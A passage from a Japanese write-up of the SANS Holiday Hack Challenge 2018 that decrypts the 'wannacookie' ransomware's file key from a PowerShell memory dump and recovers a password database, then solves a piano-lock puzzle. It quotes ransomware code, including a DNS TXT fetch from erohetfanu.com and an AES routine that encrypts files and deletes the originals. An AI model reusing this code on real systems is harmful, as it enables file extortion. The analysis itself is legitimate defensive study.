Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

ビンゴ!

あとは$p_k_e_kがわかれば、共通鍵$b_kを復号して、ファイル復号できそうだ。
$p_k_e_kを得るため、メモリダンプを解析する。以下のツールを使った。
github.com

Power Dumpは、文字列長や文字種を条件にメモリ内の変数の値を検索できる。
まずは$p_k_e_kがどういったフォーマットか確認する。

function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_};
    return $outa
};

function B2H {
    param($DEC); $tmp = '';
    ForEach ($value in $DEC) {
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1) {
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};

function p_k_e($key_bytes, [byte[]]$pub_bytes) {
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
    $cert.Import($pub_bytes);
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
    return $(B2H $encKey)
};

function g_o_dns($f) {
    $h = '';
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10) - 1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    };
    return (H2A $h)
};

$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00});
$p_k_e_k = (p_k_e $b_k $p_k).ToString();
($p_k_e_k)

何度か実行する。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
3642154ea22d0ca93c166cc22989cfc3e6bdc60e253732d0107750e394208fae51b568a1077ac4542ccb7344f414f60be1e686178e6f4b1920d7fa711af59fef42ba6fe9fc38b0170ca042a92ba89bce145ca27c332bffe5be13d8730cae68846530c7728cc1b8e85da66b4b91943fd080c8ec219a2909b85e59aaa55e6bbdcef3df72012f568f0c6eae3fd32ef5bfc3e8c0843876b6b385333684cc3bda166da0b8a6791df7905900839670f6680e5248ed231f43c760a88f585a32f1fbff941dde558504a97e08d5826d3cd46a1b285897730c652f9bbc968be45718a113258b97dfcfdec1d7d777e9eee8f0f3f91cbef8bdcc58e39647dbbdce60ffedab77
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
14399dc6a9dea0d9b1fc337c05551336bee6e58ab79b7e03f152de1072bf1db1e45037ad18cdd56c4ec88ff83644d0991fa70bff32df07be221afcd41fc5d299d561194106eebec8fd5fc755c8bd0aa50e89980a975180cb10412df35427f9d5a79e615b998ac0c2562e35ed7c9741b01c49278cb19dc27fe11144a28b7525facca69741759d1617169041a729c06e8927fe63a7f3b211cbe5e44020ab1eb59badee000b2a6a8b076668eb511cd6200c0315b7614ec024bf89a01ab60562f08064db7ef5889758b0fc41b96b25935476da8140427e3ca79acd5b724f77c69d2936193b81876691c0f6fd4dcf88d9373b181013e2e8de7c0ac8abfa1642645e67
PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\gen_p_k_e_k.ps1
2445dca52cc037d2dea5e85a6854285d4090e08cc3064c5aa3ed150d29f313e6806904c2ce8bfad14b4b825cef4b63c9e4143c7ba1613bf6098c8c1e91e862f1feb3f291eb65450b531672c6be6bc75bdf28a538917ee2b775df0661f303bc3598db2fb32b296af1b7b3535d62b518f5d1910f536c2e1bed716b961b4b8db5bfb2100887afa7697cd14edf8ac08fb3fa02407392397b05042c79d899f538982a6167fd8bcb76b26e3cc6b8687391f209fa64d6749dfc941fb4c08341b955a1874601da91fdfab450d08a042c4974b366c8692467636bc374dcff6d8a832ba182b19200e968e8552162a13a0acbb41adeb71024cad5522e9f380e037a4eed9a74

512文字の16進数文字列ということがわかったので、Power Dumpを実行して$p_k_e_k変数の値を特定する。

root@kali:~/Contest/HolidayChallenge2018# python power_dump.py powershell.exe_181109_104716.dmp 
==============================
 |  __ \                      
 | |__) |____      _____ _ __ 
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |   
 |_|   \___/ \_/\_/ \___|_|   
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___)) 
  _____  _    _ __  __ _____  
 |  __ \| |  | |  \/  |  __ \ 
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/ 
 | |__| | |__| | |  | | |     
 |_____/ \____/|_|  |_|_|   
Dumps PowerShell From Memory
==============================
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 1

============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation  
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files   
B       |                    | back to menu 
============= Loaded File: =================
 
============================================
: ld powershell.exe_181109_104716.dmp


============ Load Dump Menu ================
COMMAND |     ARGUMENT       | Explanation  
========|====================|==============
ld      | /path/to/file.name | load mem dump
ls      | ../directory/path  | list files   
B       |                    | back to menu 
============= Loaded File: =================
powershell.exe_181109_104716.dmp 427762187
============================================
: B


============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : False
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 2
[i] Please wait, processing memory dump...
[+] Found 65 script blocks!
[+] Found some Powershell variable names to work with...
[+] Found 10947 possible variables stored in memory
Would you like to save this processed data for quick processing later "Y"es or "N"o?
: 
Successfully Processed Memory Dump!

Press Enter to Continue...


============ Main Menu ================
Memory Dump: powershell.exe_181109_104716.dmp
Loaded     : True
Processed  : True
=======================================
1. Load PowerShell Memory Dump File
2. Process PowerShell Memory Dump
3. Search/Dump Powershell Scripts
4. Search/Dump Stored PS Variables
e. Exit
: 4

[i] 10947 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: len == 512

================ Filters ================
1| LENGTH  len(variable_values) == 512

[i] 1 powershell Variable Values found!
============== Search/Dump PS Variable Values ===================================
COMMAND        |     ARGUMENT                | Explanation                     
===============|=============================|=================================
print          | print [all|num]             | print specific or all Variables
dump           | dump [all|num]              | dump specific or all Variables
contains       | contains [ascii_string]     | Variable Values must contain string
matches        | matches "[python_regex]"    | match python regex inside quotes
len            | len [>|<|>=|<=|==] [bt_size]| Variables length >,<,=,>=,<= size  
clear          | clear [all|num]             | clear all or specific filter num
===============================================================================
: print 1
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Press Enter to Continue...

512文字を条件にした段階で一意に特定できた。

$p_k_e_kは、

3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971

のようだ。

このままでは16進数表現の文字列であるためバイナリ化する。xxdを使ってもCyberChefを使ってもよい。慣れた方法でどうぞ。

root@kali:~/Contest/HolidayChallenge2018# hexdump -C p_k_e_k.key
00000000  3c f9 03 52 2e 1a 39 66  80 5b 50 e7 f7 dd 51 dc  |<..R..9f.[P...Q.|
00000010  79 69 c7 3c fb 16 63 a7  5a 56 eb f4 aa 4a 18 49  |yi.<..c.ZV...J.I|
00000020  d1 94 90 05 43 7d c4 4b  84 64 dc a0 56 80 d5 31  |....C}.K.d..V..1|
00000030  b7 a9 71 67 2d 87 b2 4b  7a 6d 67 2d 1d 81 1e 6c  |..qg-..Kzmg-...l|
00000040  34 f4 2b 2f 8d 7f 2b 43  aa b6 98 b5 37 d2 df 2f  |4.+/..+C....7../|
00000050  40 1c 2a 09 fb e2 4c 58  33 d2 c5 86 11 39 c4 b4  |@.*...LX3....9..|
00000060  d3 14 7a bb 55 e6 71 d0  ca c7 09 d1 cf e8 68 60  |..z.U.q.......h`|
00000070  b6 41 7b f0 19 78 99 50  d0 bf 8d 83 21 8a 56 e6  |.A{..x.P....!.V.|
00000080  93 09 a2 bb 17 dc ed e7  ab ff fd 06 5e e0 49 1b  |............^.I.|
00000090  37 9b e4 40 29 ca 43 21  e6 04 07 d4 4e 6e 38 16  |7..@).C!....Nn8.|
000000a0  91 da e5 e5 51 cb 23 54  72 7a c2 57 d9 77 72 21  |....Q.#Trz.W.wr!|
000000b0  88 a9 46 c7 5a 29 5e 71  4b 66 81 09 d7 5c 00 10  |..F.Z)^qKf...\..|
000000c0  0b 94 86 16 78 ea 16 f8  b7 9b 75 6e 45 77 6d 29  |....x.....unEwm)|
000000d0  26 8a f1 72 0b c4 99 95  21 7d 81 4f fd 1e 4b 6e  |&..r....!}.O..Kn|
000000e0  dc e9 ee 57 97 6f 9a b3  98 f9 a8 47 9c f9 11 d7  |...W.o.....G....|
000000f0  d4 76 81 a7 71 52 56 39  06 a2 c2 9c 6d 12 f9 71  |.v..qRV9....m..q|
00000100

opensslコマンドを使用して$b_kを復号する。

暗号化処理である$encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);の第2引数が$trueであるため、OAEP パディングを使用している。
docs.microsoft.com

このため、opensslコマンドに-oaepオプションが必要である。 www.openssl.org

root@kali:~/Contest/HolidayChallenge2018# openssl rsautl -decrypt -in "p_k_e_k.key" -inkey "server.key" -oaep > b_k.key
root@kali:~/Contest/HolidayChallenge2018# hexdump -C b_k.key 
00000000  fb cf c1 21 91 5d 99 cc  20 a3 d3 d5 d8 4f 83 08  |...!.].. ....O..|
00000010

ファイル暗号化の共通鍵がfbcfc121915d99cc20a3d3d5d84f8308であることがわかった。
2次検体のソースコードから抜粋して、alabaster_passwords.elfdb.wannacookieを復号するソースコードを書く。

function e_d_file($key, $File, $enc_it) {
    [byte[]]$key = $key;
    $Suffix = "`.wannacookie";
    [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
    [System.Int32]$KeySize = $key.Length * 8;
    $AESP = New-Object 'System.Security.Cryptography.AesManaged';
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESP.BlockSize = 128;
    $AESP.KeySize = $KeySize;
    $AESP.Key = $key;
    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
    if ($enc_it) {
        $DestFile = $File + $Suffix
    } else {
        $DestFile = ($File -replace $Suffix)
    };
    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
    if ($enc_it) {
        $AESP.GenerateIV();
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
        $Transform = $AESP.CreateEncryptor()
    } else {
        [Byte[]]$LenIV = New-Object Byte[] 4;
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($LenIV, 0, 3) | Out-Null;
        [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
        [Byte[]]$IV = New-Object Byte[] $LIV;
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null; $FileSR.Read($IV, 0, $LIV) | Out-Null;
        $AESP.IV = $IV; $Transform = $AESP.CreateDecryptor()
    };
    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
    [Int]$Count = 0; [Int]$BlockSzBts = $AESP.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    Do {
        $Count = $FileSR.Read($Data, 0, $BlockSzBts);
        $CryptoS.Write($Data, 0, $Count)
    } While ($Count -gt 0);
    $CryptoS.FlushFinalBlock();
    $CryptoS.Close();
    $FileSR.Close();
    $FileSW.Close();
    Clear-variable -Name "key";
    Remove-Item $File
}

function H2B {
    param($HX); $HX = $HX -split '(..)' | ? { $_ };
    ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)}
}; 

e_d_file $(H2B "fbcfc121915d99cc20a3d3d5d84f8308")  "alabaster_passwords.elfdb.wannacookie" $false

alabaster_passwords.elfdb.wannacookieを同じディレクトリに置いて実行する。

PS D:\Develop\CTF\Contest\HolidayChallenge2018> .\decrypt.ps1
PS D:\Develop\CTF\Contest\HolidayChallenge2018>

復号できた!

root@kali:~/Contest/HolidayChallenge2018# file alabaster_passwords.elfdb 
alabaster_passwords.elfdb: SQLite 3.x database, last written using SQLite version 3015002

SQLiteのファイルであるため、DB Browser for SQLiteを使用して内容を確認する。
sqlitebrowser.org

f:id:graneed:20190114180313p:plain

ED#ED#EED#EF#G#F#G#ABA#BA#Bが答え。

長い道のりだった・・・。

10) Who Is Behind It All?

ピアノ型のロックを解除する問題。

8で取得したPDFファイルのキー位置を参考に、9-4で取得したE D# E D# E E D# E F# G# F# G# A B A# B A# Bを入力する。

f:id:graneed:20190114182616p:plain

え?間違い?

ただ、適当に入力するとこのメッセージさえ表示されない。開発者ツールでNetworkを観察すると、/checkpass.phpから以下のデータを受け取っていることがわかる。

{"success":false,"message":"offkey"}

キーを下げろとのこと。D C# D C# D D C# D E F# E F# G A G# A G# Aを入力する。
f:id:graneed:20190114183450p:plain

開いた!

最後の部屋には、サンタや、途中で雪まみれになっていたハンズがいた。
あまりストーリーを追いかけていなかったが、サンタが仕掛けたドッキリのようなもの? f:id:graneed:20190114124001p:plain

ということで、Santaが答え。

所感

通常のCTFとは毛色の異なる問題が多かったが、問題のバリエーションが豊かで非常に楽しんで解くことができた。
(この3連休の半分がつぶれた気がするが、悔いはない。)

個人的にベスト問題は「8) Network Traffic Forensics」。HTTP2の勉強にもなった。

BloodHoundを使うきっかけになった「5) AD Privilege Discovery」も良かった。 惜しむらくは、あまり自分が理解しきれていないことだが。

また、サブ問題やSnortルールの問題など、ターミナルを使う問題が数多くあった。アクセスの度に自分用の環境が割り当てられているようで、大量の参加者がいる中、このようなインフラを整えるとはさすがSANSだなと感じた。(ただ、開催直後は頻繁に切れていた気もする。)

来年も是非参加したい。来年はもう少し早めに解いて英語版writeupを書いてエントリーしたい。

おまけ

城門の前の右下から隠し通路があり、その先に城を一望できる展望台エリアがあった。

見つけた時は、何か隠し要素があるものかとワクテカしていたが、最後まで何もなかった。なんだこれー。

f:id:graneed:20190114124027p:plain